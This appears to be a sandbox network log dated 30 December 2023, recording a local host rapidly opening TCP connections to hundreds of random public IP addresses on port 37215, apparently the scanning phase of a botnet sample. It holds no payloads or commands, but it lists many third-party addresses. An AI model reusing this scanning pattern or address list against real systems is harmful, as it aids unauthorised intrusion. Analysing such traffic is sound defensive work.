Dec 30, 2023 07:14:05.183810949 CET	3641	37215	192.168.2.23	95.126.237.116
Dec 30, 2023 07:14:05.183810949 CET	3641	37215	192.168.2.23	120.163.103.46
Dec 30, 2023 07:14:05.183811903 CET	3641	37215	192.168.2.23	156.129.85.69
Dec 30, 2023 07:14:05.183813095 CET	3641	37215	192.168.2.23	41.45.205.7
Dec 30, 2023 07:14:05.183811903 CET	3641	37215	192.168.2.23	41.30.38.229
Dec 30, 2023 07:14:05.183811903 CET	3641	37215	192.168.2.23	41.222.190.232
Dec 30, 2023 07:14:05.183811903 CET	3641	37215	192.168.2.23	94.93.85.239
Dec 30, 2023 07:14:05.183814049 CET	3641	37215	192.168.2.23	156.107.27.206
Dec 30, 2023 07:14:05.183811903 CET	3641	37215	192.168.2.23	197.130.30.215
Dec 30, 2023 07:14:05.183814049 CET	3641	37215	192.168.2.23	120.34.246.142
Dec 30, 2023 07:14:05.183811903 CET	3641	37215	192.168.2.23	156.152.47.93
Dec 30, 2023 07:14:05.183816910 CET	3641	37215	192.168.2.23	197.150.201.173
Dec 30, 2023 07:14:05.183814049 CET	3641	37215	192.168.2.23	197.20.156.69
Dec 30, 2023 07:14:05.183814049 CET	3641	37215	192.168.2.23	41.100.210.5
Dec 30, 2023 07:14:05.183814049 CET	3641	37215	192.168.2.23	41.185.160.188
Dec 30, 2023 07:14:05.183814049 CET	3641	37215	192.168.2.23	197.179.205.159
Dec 30, 2023 07:14:05.183816910 CET	3641	37215	192.168.2.23	160.160.209.17
Dec 30, 2023 07:14:05.183828115 CET	3641	37215	192.168.2.23	41.21.191.64
Dec 30, 2023 07:14:05.183830023 CET	3641	37215	192.168.2.23	197.21.98.36
Dec 30, 2023 07:14:05.183830023 CET	3641	37215	192.168.2.23	45.83.162.77
Dec 30, 2023 07:14:05.183830023 CET	3641	37215	192.168.2.23	156.82.192.145
Dec 30, 2023 07:14:05.183830976 CET	3641	37215	192.168.2.23	41.236.148.140
Dec 30, 2023 07:14:05.183830976 CET	3641	37215	192.168.2.23	138.126.233.142
Dec 30, 2023 07:14:05.183830976 CET	3641	37215	192.168.2.23	107.86.167.75
Dec 30, 2023 07:14:05.183835030 CET	3641	37215	192.168.2.23	156.160.219.241
Dec 30, 2023 07:14:05.183835030 CET	3641	37215	192.168.2.23	197.209.235.178
Dec 30, 2023 07:14:05.183835030 CET	3641	37215	192.168.2.23	186.186.16.3
Dec 30, 2023 07:14:05.183835030 CET	3641	37215	192.168.2.23	197.89.37.62
Dec 30, 2023 07:14:05.183835030 CET	3641	37215	192.168.2.23	120.47.40.132
Dec 30, 2023 07:14:05.183835983 CET	3641	37215	192.168.2.23	45.211.110.141
Dec 30, 2023 07:14:05.183835983 CET	3641	37215	192.168.2.23	197.210.4.107
Dec 30, 2023 07:14:05.183835983 CET	3641	37215	192.168.2.23	94.186.111.223
Dec 30, 2023 07:14:05.183837891 CET	3641	37215	192.168.2.23	197.106.155.137
Dec 30, 2023 07:14:05.183835983 CET	3641	37215	192.168.2.23	41.93.179.87
Dec 30, 2023 07:14:05.183871031 CET	3641	37215	192.168.2.23	197.178.237.1
Dec 30, 2023 07:14:05.183871031 CET	3641	37215	192.168.2.23	41.109.193.227
Dec 30, 2023 07:14:05.183871031 CET	3641	37215	192.168.2.23	122.122.100.237
Dec 30, 2023 07:14:05.183876038 CET	3641	37215	192.168.2.23	45.202.157.195
Dec 30, 2023 07:14:05.183877945 CET	3641	37215	192.168.2.23	41.92.191.159
Dec 30, 2023 07:14:05.183877945 CET	3641	37215	192.168.2.23	186.67.36.122
Dec 30, 2023 07:14:05.183909893 CET	3641	37215	192.168.2.23	156.118.174.87
Dec 30, 2023 07:14:05.183913946 CET	3641	37215	192.168.2.23	186.17.216.24
Dec 30, 2023 07:14:05.183911085 CET	3641	37215	192.168.2.23	197.103.60.6
Dec 30, 2023 07:14:05.183912039 CET	3641	37215	192.168.2.23	156.11.243.237
Dec 30, 2023 07:14:05.183911085 CET	3641	37215	192.168.2.23	156.130.225.103
Dec 30, 2023 07:14:05.183912039 CET	3641	37215	192.168.2.23	197.152.215.239
Dec 30, 2023 07:14:05.183909893 CET	3641	37215	192.168.2.23	156.81.64.225
Dec 30, 2023 07:14:05.183912039 CET	3641	37215	192.168.2.23	156.168.15.141
Dec 30, 2023 07:14:05.183913946 CET	3641	37215	192.168.2.23	197.69.21.220
Dec 30, 2023 07:14:05.183912039 CET	3641	37215	192.168.2.23	156.18.209.45
Dec 30, 2023 07:14:05.183912992 CET	3641	37215	192.168.2.23	157.71.159.201
Dec 30, 2023 07:14:05.183912992 CET	3641	37215	192.168.2.23	156.57.241.184
Dec 30, 2023 07:14:05.183912039 CET	3641	37215	192.168.2.23	156.150.112.87
Dec 30, 2023 07:14:05.183912992 CET	3641	37215	192.168.2.23	37.74.122.236
Dec 30, 2023 07:14:05.183913946 CET	3641	37215	192.168.2.23	41.150.210.161
Dec 30, 2023 07:14:05.183912992 CET	3641	37215	192.168.2.23	122.160.243.138
Dec 30, 2023 07:14:05.183912992 CET	3641	37215	192.168.2.23	197.177.15.141
Dec 30, 2023 07:14:05.183912992 CET	3641	37215	192.168.2.23	156.210.12.254
Dec 30, 2023 07:14:05.183913946 CET	3641	37215	192.168.2.23	92.7.195.86
Dec 30, 2023 07:14:05.183912992 CET	3641	37215	192.168.2.23	41.89.97.228
Dec 30, 2023 07:14:05.183913946 CET	3641	37215	192.168.2.23	102.159.155.130
Dec 30, 2023 07:14:05.183938026 CET	3641	37215	192.168.2.23	196.147.141.2
Dec 30, 2023 07:14:05.183938980 CET	3641	37215	192.168.2.23	45.130.124.206
Dec 30, 2023 07:14:05.183938026 CET	3641	37215	192.168.2.23	197.108.173.97
Dec 30, 2023 07:14:05.183938026 CET	3641	37215	192.168.2.23	156.170.166.173
Dec 30, 2023 07:14:05.183938026 CET	3641	37215	192.168.2.23	156.96.14.40
Dec 30, 2023 07:14:05.183944941 CET	3641	37215	192.168.2.23	197.178.101.238
Dec 30, 2023 07:14:05.183944941 CET	3641	37215	192.168.2.23	197.4.25.57
Dec 30, 2023 07:14:05.183944941 CET	3641	37215	192.168.2.23	102.100.136.59
Dec 30, 2023 07:14:05.183947086 CET	3641	37215	192.168.2.23	41.213.207.79
Dec 30, 2023 07:14:05.183948994 CET	3641	37215	192.168.2.23	138.80.146.120
Dec 30, 2023 07:14:05.183948994 CET	3641	37215	192.168.2.23	94.202.240.211
Dec 30, 2023 07:14:05.183949947 CET	3641	37215	192.168.2.23	156.74.74.114
Dec 30, 2023 07:14:05.183949947 CET	3641	37215	192.168.2.23	41.160.200.167
Dec 30, 2023 07:14:05.183949947 CET	3641	37215	192.168.2.23	197.245.1.131
Dec 30, 2023 07:14:05.183955908 CET	3641	37215	192.168.2.23	156.111.244.226
Dec 30, 2023 07:14:05.183955908 CET	3641	37215	192.168.2.23	41.12.20.85
Dec 30, 2023 07:14:05.183955908 CET	3641	37215	192.168.2.23	107.17.68.123
Dec 30, 2023 07:14:05.183976889 CET	3641	37215	192.168.2.23	197.148.244.228
Dec 30, 2023 07:14:05.183976889 CET	3641	37215	192.168.2.23	186.137.24.63
Dec 30, 2023 07:14:05.183976889 CET	3641	37215	192.168.2.23	41.54.59.76
Dec 30, 2023 07:14:05.183976889 CET	3641	37215	192.168.2.23	156.93.202.222
Dec 30, 2023 07:14:05.183978081 CET	3641	37215	192.168.2.23	156.170.130.214
Dec 30, 2023 07:14:05.183976889 CET	3641	37215	192.168.2.23	156.195.245.134
Dec 30, 2023 07:14:05.183976889 CET	3641	37215	192.168.2.23	197.81.26.229
Dec 30, 2023 07:14:05.183976889 CET	3641	37215	192.168.2.23	45.218.147.68
Dec 30, 2023 07:14:05.183976889 CET	3641	37215	192.168.2.23	122.46.202.126
Dec 30, 2023 07:14:05.183976889 CET	3641	37215	192.168.2.23	41.64.201.114
Dec 30, 2023 07:14:05.183976889 CET	3641	37215	192.168.2.23	41.197.126.91
Dec 30, 2023 07:14:05.183981895 CET	3641	37215	192.168.2.23	197.225.40.106
Dec 30, 2023 07:14:05.183983088 CET	3641	37215	192.168.2.23	156.4.249.199
Dec 30, 2023 07:14:05.183983088 CET	3641	37215	192.168.2.23	181.9.52.49
Dec 30, 2023 07:14:05.183984995 CET	3641	37215	192.168.2.23	37.134.45.103
Dec 30, 2023 07:14:05.183984995 CET	3641	37215	192.168.2.23	197.7.82.208
Dec 30, 2023 07:14:05.183984995 CET	3641	37215	192.168.2.23	181.65.182.135
Dec 30, 2023 07:14:05.183984995 CET	3641	37215	192.168.2.23	186.124.5.238
Dec 30, 2023 07:14:05.183988094 CET	3641	37215	192.168.2.23	197.87.8.60
Dec 30, 2023 07:14:05.183988094 CET	3641	37215	192.168.2.23	41.141.218.45
Dec 30, 2023 07:14:05.183990002 CET	3641	37215	192.168.2.23	190.194.145.163
Dec 30, 2023 07:14:05.183990002 CET	3641	37215	192.168.2.23	156.26.120.150
Dec 30, 2023 07:14:05.183990002 CET	3641	37215	192.168.2.23	41.209.89.23
Dec 30, 2023 07:14:05.183990002 CET	3641	37215	192.168.2.23	156.1.63.216
Dec 30, 2023 07:14:05.183990002 CET	3641	37215	192.168.2.23	107.229.215.133
Dec 30, 2023 07:14:05.183990002 CET	3641	37215	192.168.2.23	37.241.220.134
Dec 30, 2023 07:14:05.183999062 CET	3641	37215	192.168.2.23	222.186.124.22
Dec 30, 2023 07:14:05.183999062 CET	3641	37215	192.168.2.23	156.21.248.10
Dec 30, 2023 07:14:05.183999062 CET	3641	37215	192.168.2.23	95.167.29.0
Dec 30, 2023 07:14:05.183999062 CET	3641	37215	192.168.2.23	222.225.235.238
Dec 30, 2023 07:14:05.183999062 CET	3641	37215	192.168.2.23	41.121.156.209
Dec 30, 2023 07:14:05.183999062 CET	3641	37215	192.168.2.23	197.0.78.139
Dec 30, 2023 07:14:05.183999062 CET	3641	37215	192.168.2.23	156.40.211.162
Dec 30, 2023 07:14:05.183999062 CET	3641	37215	192.168.2.23	156.100.73.71
Dec 30, 2023 07:14:05.183999062 CET	3641	37215	192.168.2.23	186.18.154.35
Dec 30, 2023 07:14:05.183999062 CET	3641	37215	192.168.2.23	122.117.226.115
Dec 30, 2023 07:14:05.184005022 CET	3641	37215	192.168.2.23	41.146.192.124
Dec 30, 2023 07:14:05.183999062 CET	3641	37215	192.168.2.23	138.132.64.206
Dec 30, 2023 07:14:05.184005022 CET	3641	37215	192.168.2.23	186.210.155.60
Dec 30, 2023 07:14:05.183999062 CET	3641	37215	192.168.2.23	41.248.123.247
Dec 30, 2023 07:14:05.184005022 CET	3641	37215	192.168.2.23	41.92.250.10
Dec 30, 2023 07:14:05.183999062 CET	3641	37215	192.168.2.23	41.230.199.84
Dec 30, 2023 07:14:05.184005022 CET	3641	37215	192.168.2.23	190.36.212.34
Dec 30, 2023 07:14:05.184052944 CET	3641	37215	192.168.2.23	41.155.63.83
Dec 30, 2023 07:14:05.184052944 CET	3641	37215	192.168.2.23	197.192.234.75
Dec 30, 2023 07:14:05.184052944 CET	3641	37215	192.168.2.23	156.198.129.80
Dec 30, 2023 07:14:05.184052944 CET	3641	37215	192.168.2.23	41.136.125.75
Dec 30, 2023 07:14:05.184053898 CET	3641	37215	192.168.2.23	37.228.206.126
Dec 30, 2023 07:14:05.184053898 CET	3641	37215	192.168.2.23	197.11.177.191
Dec 30, 2023 07:14:05.184053898 CET	3641	37215	192.168.2.23	41.13.222.53
Dec 30, 2023 07:14:05.184058905 CET	3641	37215	192.168.2.23	156.94.153.25
Dec 30, 2023 07:14:05.184058905 CET	3641	37215	192.168.2.23	156.136.115.77
Dec 30, 2023 07:14:05.184058905 CET	3641	37215	192.168.2.23	186.130.127.233
Dec 30, 2023 07:14:05.184060097 CET	3641	37215	192.168.2.23	197.57.20.84
Dec 30, 2023 07:14:05.184060097 CET	3641	37215	192.168.2.23	102.166.128.159
Dec 30, 2023 07:14:05.184058905 CET	3641	37215	192.168.2.23	138.21.196.134
Dec 30, 2023 07:14:05.184062004 CET	3641	37215	192.168.2.23	197.26.213.86
Dec 30, 2023 07:14:05.184058905 CET	3641	37215	192.168.2.23	41.245.220.246
Dec 30, 2023 07:14:05.184060097 CET	3641	37215	192.168.2.23	121.64.73.146
Dec 30, 2023 07:14:05.184062958 CET	3641	37215	192.168.2.23	186.255.77.98
Dec 30, 2023 07:14:05.184062958 CET	3641	37215	192.168.2.23	121.180.88.121
Dec 30, 2023 07:14:05.184062958 CET	3641	37215	192.168.2.23	156.176.77.72
Dec 30, 2023 07:14:05.184077978 CET	3641	37215	192.168.2.23	41.241.229.35
Dec 30, 2023 07:14:05.184077978 CET	3641	37215	192.168.2.23	186.134.4.148
Dec 30, 2023 07:14:05.184077978 CET	3641	37215	192.168.2.23	156.32.148.79
Dec 30, 2023 07:14:05.184077978 CET	3641	37215	192.168.2.23	197.42.42.170
Dec 30, 2023 07:14:05.184077978 CET	3641	37215	192.168.2.23	37.60.129.20
Dec 30, 2023 07:14:05.184077978 CET	3641	37215	192.168.2.23	41.177.81.65
Dec 30, 2023 07:14:05.184082031 CET	3641	37215	192.168.2.23	156.169.46.92
Dec 30, 2023 07:14:05.184082031 CET	3641	37215	192.168.2.23	156.75.138.111
Dec 30, 2023 07:14:05.184082985 CET	3641	37215	192.168.2.23	45.213.32.142
Dec 30, 2023 07:14:05.184082031 CET	3641	37215	192.168.2.23	156.129.115.230
Dec 30, 2023 07:14:05.184082985 CET	3641	37215	192.168.2.23	197.82.127.23
Dec 30, 2023 07:14:05.184082985 CET	3641	37215	192.168.2.23	156.195.26.31
Dec 30, 2023 07:14:05.184082985 CET	3641	37215	192.168.2.23	197.142.217.10
Dec 30, 2023 07:14:05.184082985 CET	3641	37215	192.168.2.23	156.201.226.87
Dec 30, 2023 07:14:05.184082985 CET	3641	37215	192.168.2.23	197.25.26.165
Dec 30, 2023 07:14:05.184082985 CET	3641	37215	192.168.2.23	197.224.27.202
Dec 30, 2023 07:14:05.184082985 CET	3641	37215	192.168.2.23	41.156.36.126
Dec 30, 2023 07:14:05.184087992 CET	3641	37215	192.168.2.23	94.61.167.151
Dec 30, 2023 07:14:05.184087992 CET	3641	37215	192.168.2.23	197.185.170.134
Dec 30, 2023 07:14:05.184087992 CET	3641	37215	192.168.2.23	41.119.188.185
Dec 30, 2023 07:14:05.184087992 CET	3641	37215	192.168.2.23	190.201.76.82
Dec 30, 2023 07:14:05.184087992 CET	3641	37215	192.168.2.23	160.188.162.41
Dec 30, 2023 07:14:05.184087992 CET	3641	37215	192.168.2.23	95.87.49.81
Dec 30, 2023 07:14:05.184087992 CET	3641	37215	192.168.2.23	94.196.7.195
Dec 30, 2023 07:14:05.184087992 CET	3641	37215	192.168.2.23	41.237.37.191
Dec 30, 2023 07:14:05.184093952 CET	3641	37215	192.168.2.23	156.218.119.198
Dec 30, 2023 07:14:05.184093952 CET	3641	37215	192.168.2.23	41.34.246.62
Dec 30, 2023 07:14:05.184093952 CET	3641	37215	192.168.2.23	186.24.121.135
Dec 30, 2023 07:14:05.184093952 CET	3641	37215	192.168.2.23	222.168.147.31
Dec 30, 2023 07:14:05.184093952 CET	3641	37215	192.168.2.23	156.95.234.156
Dec 30, 2023 07:14:05.184096098 CET	3641	37215	192.168.2.23	41.245.62.65
Dec 30, 2023 07:14:05.184096098 CET	3641	37215	192.168.2.23	197.5.231.51
Dec 30, 2023 07:14:05.184096098 CET	3641	37215	192.168.2.23	160.30.184.203
Dec 30, 2023 07:14:05.184096098 CET	3641	37215	192.168.2.23	45.121.60.16
Dec 30, 2023 07:14:05.184096098 CET	3641	37215	192.168.2.23	41.220.113.134
Dec 30, 2023 07:14:05.184096098 CET	3641	37215	192.168.2.23	41.191.11.151
Dec 30, 2023 07:14:05.184096098 CET	3641	37215	192.168.2.23	95.67.241.50
Dec 30, 2023 07:14:05.184096098 CET	3641	37215	192.168.2.23	41.29.217.171
Dec 30, 2023 07:14:05.184096098 CET	3641	37215	192.168.2.23	41.234.15.42
Dec 30, 2023 07:14:05.184096098 CET	3641	37215	192.168.2.23	197.165.179.170
Dec 30, 2023 07:14:05.184098959 CET	3641	37215	192.168.2.23	186.153.78.16
Dec 30, 2023 07:14:05.184096098 CET	3641	37215	192.168.2.23	197.159.39.134
Dec 30, 2023 07:14:05.184098959 CET	3641	37215	192.168.2.23	197.82.62.11
Dec 30, 2023 07:14:05.184096098 CET	3641	37215	192.168.2.23	181.194.208.189
Dec 30, 2023 07:14:05.184098959 CET	3641	37215	192.168.2.23	156.221.37.57
Dec 30, 2023 07:14:05.184103966 CET	3641	37215	192.168.2.23	41.109.9.251
Dec 30, 2023 07:14:05.184098959 CET	3641	37215	192.168.2.23	197.182.233.76
Dec 30, 2023 07:14:05.184096098 CET	3641	37215	192.168.2.23	41.208.98.56
Dec 30, 2023 07:14:05.184108973 CET	3641	37215	192.168.2.23	156.34.96.234
Dec 30, 2023 07:14:05.184108973 CET	3641	37215	192.168.2.23	160.162.138.59
Dec 30, 2023 07:14:05.184108973 CET	3641	37215	192.168.2.23	156.156.2.64
Dec 30, 2023 07:14:05.184108973 CET	3641	37215	192.168.2.23	41.105.60.44
Dec 30, 2023 07:14:05.184149981 CET	3641	37215	192.168.2.23	94.223.60.52
Dec 30, 2023 07:14:05.184153080 CET	3641	37215	192.168.2.23	120.52.13.66
Dec 30, 2023 07:14:05.184166908 CET	3641	37215	192.168.2.23	92.191.110.130
Dec 30, 2023 07:14:05.184166908 CET	3641	37215	192.168.2.23	190.145.227.157
Dec 30, 2023 07:14:05.184166908 CET	3641	37215	192.168.2.23	41.40.191.44
Dec 30, 2023 07:14:05.184166908 CET	3641	37215	192.168.2.23	156.89.233.132
Dec 30, 2023 07:14:05.184179068 CET	3641	37215	192.168.2.23	41.51.3.135
Dec 30, 2023 07:14:05.184180021 CET	3641	37215	192.168.2.23	197.238.196.32
Dec 30, 2023 07:14:05.184180975 CET	3641	37215	192.168.2.23	156.1.42.199
Dec 30, 2023 07:14:05.184182882 CET	3641	37215	192.168.2.23	121.37.58.238
Dec 30, 2023 07:14:05.184182882 CET	3641	37215	192.168.2.23	181.20.9.163
Dec 30, 2023 07:14:05.184182882 CET	3641	37215	192.168.2.23	41.216.212.47
Dec 30, 2023 07:14:05.184182882 CET	3641	37215	192.168.2.23	92.172.118.104
Dec 30, 2023 07:14:05.184182882 CET	3641	37215	192.168.2.23	41.51.117.92
Dec 30, 2023 07:14:05.184182882 CET	3641	37215	192.168.2.23	102.199.193.124
Dec 30, 2023 07:14:05.184184074 CET	3641	37215	192.168.2.23	196.62.28.16
Dec 30, 2023 07:14:05.184182882 CET	3641	37215	192.168.2.23	41.23.200.175
Dec 30, 2023 07:14:05.184191942 CET	3641	37215	192.168.2.23	94.123.198.16
Dec 30, 2023 07:14:05.184192896 CET	3641	37215	192.168.2.23	41.8.47.231
Dec 30, 2023 07:14:05.184201956 CET	3641	37215	192.168.2.23	41.15.120.255
Dec 30, 2023 07:14:05.184201956 CET	3641	37215	192.168.2.23	41.48.33.81
Dec 30, 2023 07:14:05.184201956 CET	3641	37215	192.168.2.23	190.10.161.210
Dec 30, 2023 07:14:05.184201956 CET	3641	37215	192.168.2.23	156.13.111.3
Dec 30, 2023 07:14:05.184201956 CET	3641	37215	192.168.2.23	197.166.167.134
Dec 30, 2023 07:14:05.184202909 CET	3641	37215	192.168.2.23	197.220.39.250
Dec 30, 2023 07:14:05.184216976 CET	3641	37215	192.168.2.23	41.122.244.255
Dec 30, 2023 07:14:05.184216976 CET	3641	37215	192.168.2.23	222.105.136.143
Dec 30, 2023 07:14:05.184216976 CET	3641	37215	192.168.2.23	156.191.179.250
Dec 30, 2023 07:14:05.184218884 CET	3641	37215	192.168.2.23	197.18.99.52
Dec 30, 2023 07:14:05.184216976 CET	3641	37215	192.168.2.23	197.175.111.67
Dec 30, 2023 07:14:05.184218884 CET	3641	37215	192.168.2.23	222.202.224.234
Dec 30, 2023 07:14:05.184216976 CET	3641	37215	192.168.2.23	181.128.74.38
Dec 30, 2023 07:14:05.184218884 CET	3641	37215	192.168.2.23	156.20.1.87
Dec 30, 2023 07:14:05.184216976 CET	3641	37215	192.168.2.23	197.57.125.211
Dec 30, 2023 07:14:05.184222937 CET	3641	37215	192.168.2.23	41.147.164.247
Dec 30, 2023 07:14:05.184216976 CET	3641	37215	192.168.2.23	222.116.220.37
Dec 30, 2023 07:14:05.184222937 CET	3641	37215	192.168.2.23	156.47.45.247
Dec 30, 2023 07:14:05.184225082 CET	3641	37215	192.168.2.23	41.118.110.96
Dec 30, 2023 07:14:05.184216976 CET	3641	37215	192.168.2.23	197.54.206.240
Dec 30, 2023 07:14:05.184218884 CET	3641	37215	192.168.2.23	41.136.49.242
Dec 30, 2023 07:14:05.184225082 CET	3641	37215	192.168.2.23	120.239.106.141
Dec 30, 2023 07:14:05.184226990 CET	3641	37215	192.168.2.23	41.129.21.178
Dec 30, 2023 07:14:05.184225082 CET	3641	37215	192.168.2.23	154.147.142.218
Dec 30, 2023 07:14:05.184226990 CET	3641	37215	192.168.2.23	197.213.172.189
Dec 30, 2023 07:14:05.184230089 CET	3641	37215	192.168.2.23	222.204.124.76
Dec 30, 2023 07:14:05.184226990 CET	3641	37215	192.168.2.23	41.221.18.241
Dec 30, 2023 07:14:05.184230089 CET	3641	37215	192.168.2.23	41.178.119.246
Dec 30, 2023 07:14:05.184231043 CET	3641	37215	192.168.2.23	222.143.100.252
Dec 30, 2023 07:14:05.184230089 CET	3641	37215	192.168.2.23	186.228.244.59
Dec 30, 2023 07:14:05.184226990 CET	3641	37215	192.168.2.23	156.243.71.63
Dec 30, 2023 07:14:05.184231043 CET	3641	37215	192.168.2.23	222.235.229.38
Dec 30, 2023 07:14:05.184226990 CET	3641	37215	192.168.2.23	197.209.171.3
Dec 30, 2023 07:14:05.184231043 CET	3641	37215	192.168.2.23	156.168.68.66
Dec 30, 2023 07:14:05.184226990 CET	3641	37215	192.168.2.23	41.34.93.16
Dec 30, 2023 07:14:05.184231043 CET	3641	37215	192.168.2.23	156.58.176.61
Dec 30, 2023 07:14:05.184226990 CET	3641	37215	192.168.2.23	197.122.126.232
Dec 30, 2023 07:14:05.184236050 CET	3641	37215	192.168.2.23	122.222.4.165
Dec 30, 2023 07:14:05.184231043 CET	3641	37215	192.168.2.23	121.115.57.158
Dec 30, 2023 07:14:05.184231043 CET	3641	37215	192.168.2.23	154.217.17.75
Dec 30, 2023 07:14:05.184231043 CET	3641	37215	192.168.2.23	197.242.246.198
Dec 30, 2023 07:14:05.184231043 CET	3641	37215	192.168.2.23	197.0.225.58
Dec 30, 2023 07:14:05.184245110 CET	3641	37215	192.168.2.23	160.195.102.37
Dec 30, 2023 07:14:05.184245110 CET	3641	37215	192.168.2.23	196.237.199.160
Dec 30, 2023 07:14:05.184245110 CET	3641	37215	192.168.2.23	154.119.156.141
Dec 30, 2023 07:14:05.184282064 CET	3641	37215	192.168.2.23	197.201.115.102
Dec 30, 2023 07:14:05.184282064 CET	3641	37215	192.168.2.23	156.59.185.2
Dec 30, 2023 07:14:05.184282064 CET	3641	37215	192.168.2.23	41.117.99.77
Dec 30, 2023 07:14:05.184282064 CET	3641	37215	192.168.2.23	156.231.130.245
Dec 30, 2023 07:14:05.184282064 CET	3641	37215	192.168.2.23	197.242.217.50
Dec 30, 2023 07:14:05.184282064 CET	3641	37215	192.168.2.23	102.127.126.217
Dec 30, 2023 07:14:05.184282064 CET	3641	37215	192.168.2.23	154.247.1.204
Dec 30, 2023 07:14:05.184290886 CET	3641	37215	192.168.2.23	41.238.223.192
Dec 30, 2023 07:14:05.184290886 CET	3641	37215	192.168.2.23	41.151.93.225
Dec 30, 2023 07:14:05.184292078 CET	3641	37215	192.168.2.23	156.177.18.96
Dec 30, 2023 07:14:05.184292078 CET	3641	37215	192.168.2.23	190.38.80.11
Dec 30, 2023 07:14:05.184292078 CET	3641	37215	192.168.2.23	156.11.110.31
Dec 30, 2023 07:14:05.184292078 CET	3641	37215	192.168.2.23	186.201.45.252
Dec 30, 2023 07:14:05.184292078 CET	3641	37215	192.168.2.23	138.163.36.241
Dec 30, 2023 07:14:05.184292078 CET	3641	37215	192.168.2.23	157.102.89.254
Dec 30, 2023 07:14:05.184314966 CET	3641	37215	192.168.2.23	41.220.243.243
Dec 30, 2023 07:14:05.184314966 CET	3641	37215	192.168.2.23	120.132.204.86
Dec 30, 2023 07:14:05.184314966 CET	3641	37215	192.168.2.23	41.215.21.163
Dec 30, 2023 07:14:05.184314966 CET	3641	37215	192.168.2.23	156.227.159.210
Dec 30, 2023 07:14:05.184341908 CET	56300	37215	192.168.2.23	156.73.86.240
Dec 30, 2023 07:14:05.191865921 CET	47302	37215	192.168.2.23	156.77.139.97
Dec 30, 2023 07:14:05.227861881 CET	43928	443	192.168.2.23	91.189.91.42
Dec 30, 2023 07:14:05.313616037 CET	37215	47302	156.77.139.97	192.168.2.23
Dec 30, 2023 07:14:05.313668013 CET	47302	37215	192.168.2.23	156.77.139.97
Dec 30, 2023 07:14:05.313724041 CET	47302	37215	192.168.2.23	156.77.139.97
Dec 30, 2023 07:14:05.313724041 CET	47302	37215	192.168.2.23	156.77.139.97
Dec 30, 2023 07:14:05.313749075 CET	47306	37215	192.168.2.23	156.77.139.97
Dec 30, 2023 07:14:05.415955067 CET	37215	3641	45.130.124.206	192.168.2.23
Dec 30, 2023 07:14:05.425415039 CET	37215	3641	94.46.206.58	192.168.2.23
Dec 30, 2023 07:14:05.435404062 CET	37215	47306	156.77.139.97	192.168.2.23
Dec 30, 2023 07:14:05.435416937 CET	37215	47302	156.77.139.97	192.168.2.23
Dec 30, 2023 07:14:05.435446024 CET	47306	37215	192.168.2.23	156.77.139.97
Dec 30, 2023 07:14:05.435462952 CET	47306	37215	192.168.2.23	156.77.139.97
Dec 30, 2023 07:14:05.435467958 CET	37215	47302	156.77.139.97	192.168.2.23
Dec 30, 2023 07:14:05.442151070 CET	37215	3641	197.146.228.230	192.168.2.23
Dec 30, 2023 07:14:05.478188992 CET	37215	3641	156.255.233.126	192.168.2.23
Dec 30, 2023 07:14:05.480257988 CET	37215	3641	222.235.229.38	192.168.2.23
Dec 30, 2023 07:14:05.495373964 CET	37215	3641	197.6.74.96	192.168.2.23
Dec 30, 2023 07:14:05.505938053 CET	37215	3641	156.250.237.117	192.168.2.23
Dec 30, 2023 07:14:05.557189941 CET	37215	47306	156.77.139.97	192.168.2.23
Dec 30, 2023 07:14:05.557226896 CET	47306	37215	192.168.2.23	156.77.139.97
Dec 30, 2023 07:14:06.219724894 CET	56300	37215	192.168.2.23	156.73.86.240
Dec 30, 2023 07:14:06.219743967 CET	45640	37215	192.168.2.23	156.73.72.49
Dec 30, 2023 07:14:06.436450958 CET	3641	37215	192.168.2.23	122.214.118.18
Dec 30, 2023 07:14:06.436481953 CET	3641	37215	192.168.2.23	157.170.113.122
Dec 30, 2023 07:14:06.436481953 CET	3641	37215	192.168.2.23	156.73.246.171
Dec 30, 2023 07:14:06.436499119 CET	3641	37215	192.168.2.23	45.130.200.228
Dec 30, 2023 07:14:06.436511040 CET	3641	37215	192.168.2.23	197.178.49.160
Dec 30, 2023 07:14:06.436522007 CET	3641	37215	192.168.2.23	41.105.122.194
Dec 30, 2023 07:14:06.436536074 CET	3641	37215	192.168.2.23	156.43.17.220
Dec 30, 2023 07:14:06.436544895 CET	3641	37215	192.168.2.23	138.159.114.119
Dec 30, 2023 07:14:06.436562061 CET	3641	37215	192.168.2.23	197.152.17.41
Dec 30, 2023 07:14:06.436578989 CET	3641	37215	192.168.2.23	156.198.100.4
Dec 30, 2023 07:14:06.436589956 CET	3641	37215	192.168.2.23	197.240.239.192
Dec 30, 2023 07:14:06.436602116 CET	3641	37215	192.168.2.23	156.198.69.162
Dec 30, 2023 07:14:06.436620951 CET	3641	37215	192.168.2.23	156.134.134.12
Dec 30, 2023 07:14:06.436620951 CET	3641	37215	192.168.2.23	37.235.250.136
Dec 30, 2023 07:14:06.436640978 CET	3641	37215	192.168.2.23	41.18.125.13
Dec 30, 2023 07:14:06.436650991 CET	3641	37215	192.168.2.23	197.137.98.54
Dec 30, 2023 07:14:06.436665058 CET	3641	37215	192.168.2.23	156.219.93.231
Dec 30, 2023 07:14:06.436676979 CET	3641	37215	192.168.2.23	92.56.7.55
Dec 30, 2023 07:14:06.436692953 CET	3641	37215	192.168.2.23	41.19.231.171
Dec 30, 2023 07:14:06.436702013 CET	3641	37215	192.168.2.23	156.108.189.128
Dec 30, 2023 07:14:06.436717033 CET	3641	37215	192.168.2.23	197.172.225.162
Dec 30, 2023 07:14:06.436736107 CET	3641	37215	192.168.2.23	157.44.177.218
Dec 30, 2023 07:14:06.436737061 CET	3641	37215	192.168.2.23	197.57.102.113
Dec 30, 2023 07:14:06.436748981 CET	3641	37215	192.168.2.23	181.151.203.2
Dec 30, 2023 07:14:06.436773062 CET	3641	37215	192.168.2.23	156.204.2.45
Dec 30, 2023 07:14:06.436786890 CET	3641	37215	192.168.2.23	197.214.76.3
Dec 30, 2023 07:14:06.436803102 CET	3641	37215	192.168.2.23	41.158.155.66
Dec 30, 2023 07:14:06.436811924 CET	3641	37215	192.168.2.23	120.88.206.167
Dec 30, 2023 07:14:06.436819077 CET	3641	37215	192.168.2.23	156.75.45.23
Dec 30, 2023 07:14:06.436827898 CET	3641	37215	192.168.2.23	41.204.111.60
Dec 30, 2023 07:14:06.436842918 CET	3641	37215	192.168.2.23	154.69.83.74
Dec 30, 2023 07:14:06.436853886 CET	3641	37215	192.168.2.23	41.245.94.121
Dec 30, 2023 07:14:06.436863899 CET	3641	37215	192.168.2.23	107.124.138.55
Dec 30, 2023 07:14:06.436881065 CET	3641	37215	192.168.2.23	157.102.235.174
